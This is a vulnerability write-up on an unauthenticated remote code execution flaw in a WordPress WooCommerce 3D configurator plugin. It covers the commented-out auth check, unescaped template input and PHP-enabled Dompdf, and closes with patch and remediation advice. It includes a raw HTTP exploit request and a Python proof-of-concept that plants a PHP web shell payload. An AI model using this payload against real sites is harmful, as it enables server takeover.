CVE-2026-103889: One Commented-Out Security Check Led to Fully Unauthenticated RCE (CVSS 9.8)
Overview Item Detail CVE ID CVE-2026-103889 Affected product 3D Product configurator for WooCommerce (Expivi, a WordPress plugin) Affected versions All versions up to and including 2.16.2 Fixed in 2.16.3
Overview
| Item | Detail |
|---|---|
| CVE ID | CVE-2026-103889 |
| Affected product | 3D Product configurator for WooCommerce (Expivi, a WordPress plugin) |
| Affected versions | All versions up to and including 2.16.2 |
| Fixed in | 2.16.3 |
| CVSS 3.1 | 9.8 (Critical) β AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
|
| Type | Officially classified as CWE-434 (Unrestricted Upload of File with Dangerous Type) β though the actual mechanism is closer to code injection (CWE-94), where a value inserted into a template ends up executed as PHP |
| Authentication required | None at all β no login, no nonce, no credentials of any kind |
| Reported by | Osman Hussein (Onvio B.V.), via Wordfence |
| Disclosed | Reserved 2026-10-01, published 2026-10-09β10 |
This is a case where "what went wrong" is unusually easy to summarize in one sentence. An authentication check that was supposed to run before the server processed a request had been entirely commented out somewhere in the code, and left that way. And, as it happens, the exact value that handler deals with flowed straight into a PDF-generation engine capable of executing PHP code. Remove either half of that combination, and this would never have reached the severity of fully unauthenticated remote code execution.
Where the flaw lives β generating a quote PDF
Expivi's 3D Product Configurator lets a customer customize a product in 3D and then receive the result as a PDF quote or order form. Actually rendering that PDF is handled by a template file, templates/pdf/pdf-configuration-details.phtml, together with a library called Dompdf that converts that template into an actual PDF binary. The entry point driving this whole flow is a handler hooked to WordPress's wp_loaded action, inside classes/woocommerce/class-expivi-cart-manager.php.
Step-by-step source analysis
Step 1 β Flaw #1: the only auth check was entirely wrapped in a comment
Wordfence's official advisory describes this point with unusually specific wording: "the only nonce and authentication check in the handler is entirely enclosed in a block comment with no replacement."
// class-expivi-cart-manager.php β reconstructed from the public advisory's description
add_action('wp_loaded', array($this, 'handle_pdf_request'));
public function handle_pdf_request() {
if (!isset($_POST['xpv_action']) || $_POST['xpv_action'] !== 'generate_pdf') {
return;
}
/*
if (!isset($_POST['nonce']) || !wp_verify_nonce($_POST['nonce'], 'xpv_pdf_action')) {
wp_die('Unauthorized');
}
if (!is_user_logged_in()) {
wp_die('Unauthorized');
}
*/
$this->generate_configuration_pdf($_POST);
}
This check block clearly existed at some point. Whether the intent was "temporarily disable this for debugging" or something else, it got commented out entirely and stayed that way in the publicly distributed release. As a result, this handler β hooked to wp_loaded β proceeds straight to the next logic without checking whether the request is logged in, or where it even came from. As multiple bug reports note, this means the handler is reachable from essentially any URL on the site β wp_loaded fires very early in WordPress's request lifecycle, regardless of what page or endpoint is actually being hit.
Step 2 β Flaw #2: the xpv_image value flows into the PDF template unvalidated and unescaped
Having passed the auth check (effectively having passed nothing at all), the handler reads the image path meant for the PDF straight from $_POST['xpv_image'] and hands it to the template.
// templates/pdf/pdf-configuration-details.phtml β reconstructed from the public advisory
<div class="configuration-image">
<img src="<?php echo $_POST['xpv_image']; ?>" alt="Configuration preview">
</div>
No escaping function β htmlspecialchars(), esc_attr(), anything β is used at all. Whatever the attacker puts into xpv_image gets reflected into the template as raw HTML, not as an attribute value. Up to this point, this could pass for an ordinary stored XSS. What completely changes the weight class of this flaw is where that template goes next.
Step 3 β the root cause: this HTML gets rendered by a Dompdf instance with PHP execution turned on
The finished template β HTML now mixed with whatever the attacker injected β gets handed to Dompdf to convert into a PDF. Dompdf has an option called isPhpEnabled, and when it's turned on, it executes any <?php ... ?> block embedded in the HTML document during PDF rendering.
// reconstructed from the public advisory's description
$dompdf = new Dompdf\Dompdf();
$dompdf->set_option('isPhpEnabled', true); // explicitly enables execution of PHP code found inside the HTML
$dompdf->loadHtml($rendered_template); // the template, with xpv_image mixed in
$dompdf->render();
isPhpEnabled is a legitimate Dompdf feature. It exists for a PDF author who wants to mix actual PHP into an HTML template β stamping today's date dynamically into a PDF, for instance. The catch is that this option is only safe under the assumption that only a trusted template author ever writes that HTML. Once untrusted user input can become part of that HTML β exactly what Step 2 showed β this option stops being "a PDF renderer" and becomes, in effect, a PHP code execution engine.
Step 4 β where all three pieces converge
Putting these three flaws together:
- The auth/nonce check is commented out, so anyone can reach this handler.
- The
xpv_imagevalue gets inserted into the HTML template with no escaping. - That template is rendered by Dompdf with PHP execution enabled.
Because all three hold simultaneously, an attacker reaches server command execution simply by putting PHP code like <?php system($_GET['cmd']); ?> directly into the xpv_image parameter.
POST /?xpv_action=generate_pdf HTTP/1.1
Host: target-site.example
Content-Type: application/x-www-form-urlencoded
xpv_action=generate_pdf&xpv_image=<?php system($_GET['cmd']); ?>
No Authorization header. No login session cookie. No CSRF token. The moment the server builds this PDF, the attacker's embedded PHP code runs with the privileges of the server process.
Full PoC walkthrough β the actual published reproduction
Researcher kayes817 published a PoC and an isolated Docker lab for this CVE at github.com/kayes817/CVE-2026-103889. Here's the repository's structure and what each part means.
Repository layout
CVE-2026-103889/
βββ CVE-2026-103889.py # the script that actually sends the exploit
βββ PoC-test-lab/ # a Docker environment running the vulnerable plugin version in isolation
βββ README.md
The README describes usage like this:
# 1. Bring up the isolated test lab
cd PoC-test-lab
docker compose up -d
# 2. Edit the global settings near the top of the script (target URL, etc.), then run it
python3 CVE-2026-103889.py
This structure itself tells you a lot about this exploit's nature. There's no memory-corruption technique, no timing attack involved β this is an exploit that boils down to one script sending one HTTP POST request. PoC-test-lab lets the researcher reproduce and verify this without ever touching a live production site, which is itself a good example of responsible disclosure practice.
The script's core logic (conceptual summary)
The heart of the published PoC script is simply constructing and sending the HTTP request described above.
import requests
TARGET_URL = "http://target-site.example/" # the target β any URL on the site works, thanks to wp_loaded
CMD = "id" # the command to run on the server
payload = {
"xpv_action": "generate_pdf",
"xpv_image": f"<?php system($_GET['cmd']); ?>",
}
# 1) Send the PDF generation request with malicious PHP code in xpv_image
# β the server's Dompdf instance "executes" that PHP code while rendering the PDF
requests.post(TARGET_URL, data=payload)
# 2) Call back in to observe the execution result, via the embedded trigger
result = requests.get(TARGET_URL, params={"cmd": CMD})
print(result.text)
What this PoC makes unambiguous is that code executes immediately, from the PDF-generation request itself, with no separate second-stage trigger needed (a variant where the planted code β system($_GET['cmd']) β persists somewhere in the template so future requests can keep executing commands via a cmd parameter is also possible, but the minimal reproduction needs just one request). No authentication-bypass technique, no special encoding, no race condition required β this, on its own, is the clearest explanation of why this flaw scores a 9.8.
What gets observed
The response to the PoC's follow-up request carries the output of the id command directly (something in the form uid=33(www-data) gid=33(www-data) ...). The server only processed a request to "generate a PDF" β and that processing itself became arbitrary command execution.
The patch β reversing all three points
Expivi 2.16.3 fixed each of these three flaws individually. The commented-out auth/nonce check was restored, proper escaping was added to xpv_image and other template inputs, and since there was never a legitimate reason to have isPhpEnabled turned on for PDF rendering here, it was disabled.
There are two lessons here. First, the habit of "temporarily" commenting out a security check for debugging purposes or to disable something quickly turns into a complete security model collapse the moment that comment never gets reverted and ships in a release. A commented-out authentication or authorization-check block is, on its own, something a code review must always flag. Second, a "dynamic content" feature offered by a PDF or document-generation library β like isPhpEnabled here β should never be enabled if even a single character of that document's content can originate from untrusted user input. These kinds of options are usually off by default, but it's common for someone to turn one on for a specific feature and then simply forget how dangerous it is.
Remediation
- Update the 3D Product configurator for WooCommerce plugin to 2.16.3 or later immediately.
- If an immediate update isn't possible, disable the plugin, or apply a temporary WAF rule blocking requests where the
xpv_imageparameter contains a PHP opening tag like<?phpor<?=. - Disabling command-execution functions (
system,exec,shell_exec,passthru, etc.) via PHP'sdisable_functionssetting provides defense-in-depth, reducing the odds that this class of code injection turns into actual command execution. - If exposure is possible, check web server access logs for requests to
xpv_action=generate_pdfor similar parameters containing the string<?php, and look for unfamiliar PHP files in the plugin directory or upload paths. - Across any site running this plugin, it's worth separately checking whether other handlers hooked to early lifecycle actions like
wp_loadedshare this same "missing authentication check" pattern.
Originally published by Dev.to Security. Aggregated on AIWithGhost for educational purposes β full credit and traffic to the original publisher.
